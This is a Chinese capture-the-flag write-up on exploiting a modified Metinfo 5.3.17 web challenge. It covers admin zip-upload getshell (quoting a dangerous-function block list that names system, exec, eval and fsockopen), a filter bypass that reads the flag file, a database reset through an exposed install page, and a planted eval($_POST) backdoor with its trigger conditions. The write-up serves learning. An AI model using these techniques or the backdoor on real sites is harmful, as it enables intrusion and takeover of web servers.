0x00 前言 首先会回过头来重新分析一次这道web题主要是因为上次线下的时候全场一直在打了一个洞,最后成信的师傅用重置数据库方法,从后台getshell一路追分,这里先膜一发。这次web题的框架是Metinfo 5.3.17的。
0x01 后台getshell 这个洞也可以说是坑了一波,以前都调过Metinfo的后台恢复数据库文件getshell,在:安全—>备份与恢复 中通过上传数据库备份.zip文件getshell,这里主要是因为:admin\include\uploadify.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 elseif($type=='skin' ){ /*模板文件*/ $filetype=explode('.',$_FILES['Filedata']['name']); if($filetype[count($filetype)-1]=='zip'){ if(stristr($met_file_format,'zip') === false){ echo $lang_jsx36; die(); } / /if(!is_writable('../ ../templates/'))@chmod(' ../../templates/',0777); $filenamearray=explode(' .zip',$_FILES[' Filedata'][' name']); $skin_if=$db->get_one("SELECT * FROM {$met_skin_table} WHERE skin_file=' {$filenamearray[0 ]}'"); if($skin_if){ $metinfo=$lang_loginSkin; }else{ $f = new upfile(' zip',' ../../templates/',' ',' '); if($f->get_error()){ echo $f->get_errorcode(); die(); } if(file_exists(' ../../templates/'.$filenamearray[0].' .zip'))$filenamearray[0]=' metinfo'.$filenamearray[0]; $met_upsql = $f->upload(' Filedata',$filenamearray[0]); include "pclzip.lib.php"; $archive = new PclZip(' ../../templates/'.$filenamearray[0].' .zip'); if($archive->extract(PCLZIP_OPT_PATH, ' ../../templates/') == 0)$metinfo=$archive->errorInfo(true); $list = $archive->listContent(); $error=0; foreach($list as $key=>$val){ if(preg_match("/\.(asp|aspx|jsp)/i",$val[filename])){ $error=1; } if(!is_dir(' ../../templates/'.$val[filename])&&preg_match("/\.(php)/i",$val[filename])){ $danger=explode(' |','preg_replace| assert|dirname| file_exists|file_get_contents| file_put_contents|fopen| mkdir|unlink| readfile|eval| cmd|passthru| system|gzuncompress| exec|shell_exec| fsockopen|pfsockopen| proc_open|scandir'); $ban='preg_replace| assert|eval| \$_POST|\$_GET'; foreach($danger as $key1 => $val1){ $str=file_get_contents('../../templates/'.$val[filename]); $str=str_replace(array('\'','"','.'),'',$str); if (preg_match("/([^A-Za-z0-9_]$val1)[\r\n\t]{0,}([\[\(])/i",$str)){$error=1; } if (preg_match('/('.$ban.')/i',$str)){$error=1; } } } } @unlink('../../templates/'.$filenamearray[0].'.zip'); if ($error){foreach($list as $key=>$val){ if (is_dir('../../templates/'.$val[filename])){@deldir('../../templates/'.$val[filename]); }else { @unlink('../../templates/'.$val[filename]); } } $metinfo='含有危险函数,禁止上传!!'; }else { $metinfo='1$'.$filenamearray[0]; } }
上传的.zip文件会自动解压,上传成功后在/templates目录下生成shell,由于本次源码被调整过,在恢复备份文件处有一个资源调用的问题,导致打开的时候特别慢,可以说没法利用吧,而这次主要是利用另一个上传点,直接通过修改上传文件类型来上传.php文件:安全->安全与效率->上传文件 这种getshell的方法不要智商的,所以就不多说了。
0x02 混淆源码命令执行 利用点:produ/picture.inc.php文件,源码进行混淆过,所以挖掘的时候必须首先解混淆,这里我是直接上网进行源码修复的,修复出来简单修改一下变量也基本就能看懂。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $b=@$_GET[$GLOBALS['OOO0000O0' ]('Y2hlYw==' )]; if ($b!="" ) { $a = $GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJSUkx' )](md5($b),0 ,9 ); $c = $GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJSUkx' )](md5($a),5 ,18 ); $c = md5($c); echo $c; exit(); } $d = @$_GET[$GLOBALS['OOO0000O0' ]('img_tet' )]; $d = $GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJSWwx' )]($d); $d = str_replace( $GLOBALS['OOO0000O0' ]('flag' ),"" ,$d); if ($d!="" ) { $GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJSTFJ' )]($GLOBALS['OOO0000O0' ]('Content-Type: imgage/jpeg' )); $GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJSTFJ' )]($GLOBALS['OOO0000O0' ]('Content-Disposition: attachment; filename=' ).$d); $GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJSTFJ' )]($GLOBALS['OOO0000O0' ]('Content-Lengh: ' ).$GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJSTFs' )]($d)); $e = $GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJbElJ' )]($d,"r" ) or die("Unable to open file!" ); $f = $GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJbEkx' )]($e,$GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJSTFs' )]($d)); $GLOBALS[$GLOBALS['OOO0000O0' ]('SUlJSUlJSUlJbGxJ' )]($e); echo $f; } ; echo $GLOBALS['OOO0000O0' ]('Cg==' ); ?>
也就是Get一个参数img_tet,检测传参内容是否有flag,有的话就替换为空格所以直接利用:cat /flflagag就可以绕过检测,这也是全场一次在打的一个洞。下面也贴出其他师傅解混淆的方法,建一个php文件
1 2 3 4 <?php include ('picture.inc.php' );var_dump(get_defined_vars()); ?>
调用函数var_dump(get_defined_vars())进行反混淆,本地运行可以得到一样的源码。 这里直接贴出BXS师傅完全修复的源码:
0x03 重置数据库 利用安装框架的配置文件,重置数据库这个也是迷,不过利用起来也是没有难度的,主要就看能不能找到这个页面了,估计是主办方故意留下这个页面的,利用方法,直接访问 \include\frame 目录下 index.php,直接就进入了配置页面
跟着走一遍,重置一下网站,然后跳第一步Getshell就好。
0x04 主办方设置的后门利用 对于这个后门,调试也是到了比赛结束后,about/show.php 30、31行
1 2 $show_tiny=create_function("" , base64_decode('QGV2YWwoJF9QT1NUWyJpY3FjdGZlciJdKTs=' )); $show_tiny();
解base64后得到的是一个自带后门:@eval($_POST[“icqctfer”]); 当时在现场的时候看到这个就直接在show.php后用POST传参icqctfer=**** ,没有得到任何想要的结果,当时还以为大家都补了,没有注意到源码中还有限制条件,主要是在show.php中的 1 2 3 4 5 6 if(!$id && $class1)$id = $class1; if(!is_numeric($id))okinfo('../404.html'); $show = $db->get_one("SELECT * FROM $met_column WHERE id='$id' and module=1"); if(!$show||!$show['isshow']){ okinfo('../404.html'); }
is_numeric()函数要求变量id要是数字,这个地方比较好过,由于对$id没有做任何限制的,我们可以在本地调试测试,把变量id覆盖就好了,不过后面的查询语句也要求了id值得赋成1,payload:http://127.0.0.1/CTF/shanghai/default/about/show.php?id=1 之后主要是$show变量的问题, $db->get_one(“SELECT * FROM $met_column WHERE id=’$id’ and module=1”)将表met_column的第一行信息以数组的方式赋值给变量show,本地查看数据库 其中isshow列默认值为 0 而要过条件if(!$show||!$show[‘isshow’])只有当$show = 1或者$show[‘isshow’] = 1,而从数据库中看来使得$show = 1是不可能的,我们没法把对方的数据库id = 1的所有信息都置1,所以只有将$show[‘isshow’]置 1 。而要将变量$show[‘isshow’]置 1,需要进入Metinfo后台:设置->栏目 中修改about的参数,将 添加内容 段改成允许,就可以将isshow置为1,从而通过条件,就可以利用icqctfer了。 那么问题来了,要想进后台修改配置利用这个后门,除非一上手在别人没改密码之前进入别人后台修改,等大家都把后台密码改了,也就只有通过重置数据库的方法进入后台,既然后重置数据库进入后台了,还不如上传木马来打,所以这个后门看似简单,其实用起来太麻烦,价值也不高。
0x05 结语 本菜因才疏学浅,只挖到了部分的洞,因为上次在场上的时候有师傅直接把网站页面给改写了,说明还有其他的利用点,这里膜一下,本文章只用来学习记录。